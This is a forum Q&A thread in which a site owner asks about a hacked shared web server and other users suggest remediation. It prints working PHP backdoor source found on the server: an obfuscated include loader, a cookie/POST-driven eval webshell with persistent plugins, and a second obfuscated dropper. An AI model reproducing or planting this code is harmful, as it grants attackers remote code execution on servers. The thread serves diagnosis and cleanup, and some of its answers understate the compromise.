17

I have three websites all hosted on the same webserver. Recently I was working on one of the websites and noticed that, about a month ago, a bunch of files had been changed. Specifically, all instances of index.html had been renamed to index.html.bak.bak, and index.php files have been put in their places. The index.php files are relatively simple; they include a file hidden somewhere in each website's filesystem (seemingly a random folder) that's been obfuscated with JS hex encoding, then echo the original index.html:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

The included file here was

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

On another domain, it was

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

As you could probably guess, these aren't actually favicons - they're just php files with a different extension. Now, I have no clue what these files do (which is why I'm asking here). They were totally obfuscated, but https://malwaredecoder.com/ seems to be able to crack through it. The results can be found here, but I've pasted the de-obfuscated code below:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

In addition, there is a file called init5.php in one of the website's content folders, which after deobfuscating as much as possible, becomes:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

There are more obfuscated PHP files the more I look, which is kinda scary. There's tons of them. Even Wordpress' index.php files seem to have been infected; the obfuscated @includes have been added to them. In addition, on one of the websites, there's a file titled 'ssh' that seems to be some kind of binary file (maybe the 'ssh' program itself?)

Does anyone know what these are or do? How did they get on my server? How can I get rid of them and make sure they never comes back?

Some other info: my webhost is Laughing Squid; I have no shell access. The server runs Linux, Apache 2.4, and PHP 5.6.29. Thank you!

W Biggs
  • 663
  • 1
  • 10
  • 18
  • 9
    Do you have a backup of the files from before they were infected? Your best bet is to nuke the server and reset everything. You have no idea what else could also be infected, so no sense in trying to hunt or risk anything left behind, just start over from scratch. – gen_Eric Apr 04 '17 at 15:46
  • 8
    It's probably trying to deliver malware to people who visit your site - *shut the site down* to limit the damage it can do to others, make sure you have a backup of any important content, then *nuke it from orbit* and rebuild it from scratch. – Quietust Apr 04 '17 at 15:46
  • 8
    Change your password to access your host. Delete all the files. Restore from backup. Keep in mind they now have your DB password. If you were sharing that with your host access they have complete control of your account. – Matt Apr 04 '17 at 15:47
  • aah, ze classique case of ze CMS getting exploited for ze known vulnerabilities. If you are going to use CMS you should put alot of effort into highly obfuscating its use in the first place. So before redeploying your website, that is something to consider to avoid getting targetted in the future. – coderodour Apr 04 '17 at 15:49
  • @coderodour How should that be done on a website heavily built upon Wordpress (one of the sites in question?) – W Biggs Apr 04 '17 at 15:52
  • Thank you all for the advice, I'm taking action now. One of the three sites is relatively well-trafficked, so this is a huge deal. I'm interested in knowing the ins and outs of what this stuff is doing, but of course damage control is the first and most important step. – W Biggs Apr 04 '17 at 15:54
  • 2
    Unfortunately there's no backup, but there's not much of importance that can't be redone - just wasted time re-building websites, I guess. Backups will be happening from now on. The only thing is that there are a number of media files we'd like to keep - stuff that's been archived up there for years and are kinda important. Is there any way we can be sure that those aren't infected and archive them safely? – W Biggs Apr 04 '17 at 16:07
  • 1
    You'll want to read [*How do I deal with a compromised server?*](http://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server) – user3942918 Apr 05 '17 at 00:16
  • You should change your FTP password. Set it to a long string such as 30 alphanumeric characters. Also make sure your files and folders are not world writable. – Nadir Latif Apr 05 '17 at 05:08
  • Did you ever find the real cause of this? Is this from a plugin from the site or the reason is external? – e4rthdog Mar 09 '18 at 10:46
  • 1
    @e4rthdog the site was insecure for one reason and another so I wiped the server and did a fresh install of everything + Wordfence to keep it from happening again. – W Biggs Mar 09 '18 at 15:41

6 Answers6

9

You can't trust anything on the server at this point.

  • Reinstall the OS

  • Reinstall known good copies of your code with a clean or known-good version of the database.

At this point there's no use in just replacing/deleting "bad" files because the attacker could have done absolutely anything ranging from "nothing" to replacing system level software with hacked versions that will do anything desired. Just for an example, at one point someone wrote malware into a compiler so even if the executable was rebuilt, the maware was still there, also it prevented the debugger from detecting it.

There are various cleaners available, but they rely on knowing/detecting/undoing everything the attacker might have done, which is impossible.

If you had good daily backups, you could do a diff between the "what you have" and "what you had before" and see what has changed, however you would still need to carefully examine or restore your database since many attacks involve changing data, not code.

Terry Carmen
  • 3,720
  • 1
  • 16
  • 32
2

This is not a hack you need to trash your sites and server over. It is just a php hack. Get rid of all of the malicious php files and code and you'll be good. Here is how I did it on drupal. http://rankinstudio.com/Drupal_ico_index_hack

Rankinstudio
  • 591
  • 6
  • 19
  • 1
    This is super. Just faced this and this came as a savior. – Jayesh Jun 01 '18 at 05:18
  • 3
    No, this is a serious backdoor. It allowed the attacker to execute any PHP code on the infected server. Just removing the backdoor doesn't make unhappened what else might have been modified on your system via this backdoor. In the worst case a local exploit to gain privileged system access has been uploaded and executed that way. – Axel Beckert Sep 17 '18 at 18:50
1

I had this same malware. There are 10 to 15 files the malware adds or modifies. I used the Quttera WordPress plug-in(free) to find the files. Most of the files can just be deleted (Be careful, Quttera ids more than are actually infected) but some WordPress files were modified and must be replaced.

Zach
  • 21
  • 1
1

Had to write myself one PHP script to scan the whole server tree, listing all directory paths, and one to scan those paths for infections. Can only partly clean, but provides much needed help with the pedestrian cleanup.

NOTE:
It's poorly written, and probably should be removed after use. But it helped me.

A zipped copy is here.
No guarantees; unzip it and take a look what you put on your server, before uploading it!

Update: Now cleans more (not all!). Follow up with hand-cleaning (see below).

  • zx485, thanks for editing. Following up after finally getting my server clean. Use the 'zipped copy', but, the script is not as through as needed, it's an emergency fix. When run, immediately follow this procedure - try not to faint: * FTP a copy of the server to local machine. * Search and list ALL PHP files (good luck with CMS's) * Find and delete all 'nonsense'.php filenames found, from the live server (local search gives location) * On live server, open EACH script-reported 'infected' files and remove infection (e.g with Filezilla >> edit) * remove all 'non-sense' .ico and .jpg. – user2528858 Oct 22 '18 at 15:22
0

I had the same problem. It is caused by malicious http post requests. Here is a good article about how to stop it:

The following in a .htaccess file will stop all post requests. https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
summars
  • 11
  • 5
    That might work but it will also stop most sites from working. How can someone just stop POST not originating from the site's own pages? – Itai Feb 12 '18 at 17:14
-3

I haven't found yet, how to prevent these files from appearing on my server, yet i'm able to get rid of them, here's a oneliner crawling down the folders and removing them:

find . -type f -name 'favicon_*.ico' -delete -print
  • 6
    You should give up the entire server. You can't save it. – Falci Jan 26 '18 at 23:03
  • I know its been a while, but it is nothing to trash your server over. You have malicious php code hanging around in your content somewhere. Run a database search for – Rankinstudio May 25 '18 at 14:43